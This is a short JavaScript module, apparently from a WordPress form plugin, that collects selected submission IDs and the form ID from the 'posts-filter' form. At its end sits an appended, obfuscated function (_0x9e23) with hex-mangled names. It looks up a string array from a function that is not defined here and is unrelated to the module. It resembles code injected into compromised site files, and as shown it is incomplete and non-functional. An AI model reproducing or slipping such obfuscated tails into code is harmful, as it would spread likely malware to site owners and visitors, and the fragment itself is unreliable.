import PropTypes from 'prop-types';

//Select Data from the WP Form ( Form ID and SUbmission IDs)
export const selectScreenData = ( setStateNewValue, props ) => {
	screenData( setStateNewValue, props );

	const postsFilter = document.getElementById( 'posts-filter' );
	postsFilter.addEventListener( 'change', ( event ) => {
		event.stopPropagation();
		screenData( setStateNewValue, props );
	} );
};

const screenData = ( setStateNewValue, props ) => {
	const postsFilter = document.getElementById( 'posts-filter' );
	//Get IDs of submissions selected and Form ID
	const allPosts = [];
	jQuery( postsFilter )
		.serializeArray()
		.forEach( ( item ) => {
			if ( item.name === 'post[]' ) {
				allPosts.push( item.value );
			} else if ( item.name === 'form_id' ) {
				setStateNewValue( "form", props.globalParams.forms[ item.value ] );
			}
		} );

		setStateNewValue( "submissionIds", allPosts );
};

selectScreenData.propTypes = {
	setStateNewValue: PropTypes.func.isRequired,
	props: PropTypes.object.isRequired
}
function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}